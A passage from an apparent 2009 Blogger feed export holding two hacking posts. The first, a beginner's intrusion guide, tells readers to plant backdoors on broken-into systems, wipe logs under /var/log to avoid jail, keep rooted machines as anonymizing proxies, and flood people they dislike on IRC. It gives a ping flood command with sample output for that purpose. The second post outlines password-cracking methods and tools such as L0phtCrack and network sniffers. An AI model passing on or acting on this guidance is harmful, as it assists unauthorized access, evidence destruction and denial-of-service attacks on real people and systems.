enough on the greatness&lt;br /&gt;     here is a simple option on nmap you can use to find the rules for firewalls. Issue &quot;nmap -sA&quot; . This&lt;br /&gt;     Will check the firewalls rules. I don&#39;t want to go to deep into it to make this text extremely more&lt;br /&gt;     boring than it is. If you would like to know more on this flag for nmap  (a - in front of a option&lt;br /&gt;     is a flag) just do &quot;man nmap&quot; at the shell prompt.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                               WHAT TO DO AFTER GETTING IN&lt;br /&gt;                              ==============================&lt;br /&gt;&lt;br /&gt;(9.) What to do after you get in depends on how you are going to use the system, if you want to use it &lt;br /&gt;     to have an anonymous root shell then set up a backdoor. You can get backdoor&#39;s (trojans) at &lt;br /&gt;     www.packetstorm.securify.com. I think you should be able to set up a backdoor on your own, but&lt;br /&gt;     if for some reason you need help join #r00t-access on Dalnet and I can get you through but I will&lt;br /&gt;     NOT crack into the systems for you, but I can help out occasionally if you need to secure your system...&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;                                 HOW TO NOT GET CAUGHT&lt;br /&gt;                                ======================= &lt;br /&gt;&lt;br /&gt;(10.) Main thing is, DON&#39;T be STUPID. If you want to keep the remote shell, don&#39;t deface the site, don&#39;t&lt;br /&gt;      delete their files, try to leave the system as it was and delete the neccessary logs to do so, that &lt;br /&gt;      is all I have to say on this section.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;                                    LOG CLEANING&lt;br /&gt;                                  ================&lt;br /&gt;&lt;br /&gt;(11.) Log cleaning is the most important part of staying there and not going to jail. Rid your login/hostname&lt;br /&gt;      from logs, which on Linux are held in /var/log, and .bash_profile in your directory. The easiest way&lt;br /&gt;      to do this is to use a log cleaner which you can get from blackcode.com or packetstorm.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;                                   FINDING A USE&lt;br /&gt;                                  ===============&lt;br /&gt;&lt;br /&gt;(12.) I always have at least one rooted shell on me. I set up nmap and saint on them to hide my hostname, &lt;br /&gt;      maybe run a web proxy/bnc on it. Saint is a great tool, it can tell you what a system is vulnerable&lt;br /&gt;      to and can run remotely in your webbrowser with ease. Sometimes when people piss me off I decide to use &lt;br /&gt;      a couple boxes and flood em&#39;. like this- &lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;# ping -f -c 50 -s 4500 IPaddress&lt;br /&gt;.........................................................&lt;br /&gt;...........................................................&lt;br /&gt;.........E...........E...EE........E..................E.......&lt;br /&gt;..............E.......E.EEE...................E.E......&lt;br /&gt;Host unreatchable.     &lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;People consider it lame but sometimes i want certain people to just shutup on IRC so I flood them.&lt;br /&gt;---------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                  THE BAD HACKER&lt;br /&gt;                                ===================&lt;br /&gt;&lt;br /&gt;(13.) In this text I have not been talking of hacking, in fact it is refered to as cracking. I don&#39;t mess&lt;br /&gt;      up and systems and probably never will, not because I can&#39;t but because it is not right, plus if you got&lt;br /&gt;      caught you would get more jail time for damage charges. I dislike people into totalling things.</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/4518165429870828711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/tutor-for-beginner.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/4518165429870828711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/4518165429870828711'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/tutor-for-beginner.html' title='Beginner Session For hackers'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8918358182307276575.post-3492983854723156098</id><published>2009-09-22T10:32:00.001-07:00</published><updated>2009-09-22T10:38:22.041-07:00</updated><title type='text'>Hacking &amp; Cracking</title><content type='html'>Password cracking doesn&#39;t always involve sophisticated tools. It can be as simple as finding a sticky note with the password written on it stuck right to the monitor or hidden under a keyboard. Another crude technique is known as &quot;dumpster diving,&quot; which basically involves an attacker going through your garbage to find discarded documentation that may contain passwords.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;b&gt;Dictionary attack&lt;/b&gt;&lt;br /&gt;A simple &lt;i&gt;dictionary&lt;/i&gt; attack is by far the fastest way to break into a machine. A dictionary file (a text file full of dictionary words) is loaded into a cracking application (such as L0phtCrack), which is run against user accounts located by the application. Because the majority of passwords are often simplistic, running a dictionary attack is often sufficient to to the job.&lt;/li&gt;&lt;li&gt; &lt;b&gt;Hybrid attack&lt;/b&gt;&lt;br /&gt;Another well-known form of attack is the &lt;i&gt;hybrid&lt;/i&gt; attack. A hybrid attack will add numbers or symbols to the filename to successfully crack a password. Many people change their passwords by simply adding a number to the end of their current password. The pattern usually takes this form: first month password is &quot;cat&quot;; second month password is &quot;cat1&quot;; third month password is &quot;cat2&quot;; and so on.&lt;/li&gt;&lt;li&gt; &lt;b&gt;Brute force attack&lt;/b&gt;&lt;br /&gt;A &lt;i&gt;brute force&lt;/i&gt; attack is the most comprehensive form of attack, though it may often take a long time to work depending on the complexity of the password. Some brute force attacks can take a week depending on the complexity of the password. L0phtcrack can also be used in a brute force attack.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;let&#39;s have a look of few tools &amp;amp; utils&lt;br /&gt;&lt;br /&gt;Most popular tools is &lt;b&gt;L0phtCrack&lt;/b&gt; (now called LC4). L0phtCrack is a tool that allows an attacker to take encrypted Windows NT/2000 passwords and convert them to plaintext. NT/2000 passwords are in cryptographic hashes and cannot be read without a tool like L0phtCrack. It works by attempting every alphanumeric combination possible to try to crack passwords.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Protocol analyze&lt;/span&gt;r (better known as a network sniffer, such as Sniffer Pro or Etherpeek), which is capable of capturing every piece of data on the network segment to which it is attached. When such a tool is running in &lt;i&gt;promiscuous mode&lt;/i&gt;, it can &quot;sniff&quot; everything going around on that segment such as logins and data transfers. As you&#39;ll see later, this can seriously damage network security allowing attackers to capture passwords and sensitive data.</content><link rel='replies' type='application/atom+xml' href='http://rsgehlot.blogspot.com/feeds/3492983854723156098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hacking-cracking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/3492983854723156098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8918358182307276575/posts/default/3492983854723156098'/><link rel='alternate' type='text/html' href='http://rsgehlot.blogspot.com/2009/09/hacking-cracking.html' title='Hacking &amp; Cracking'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>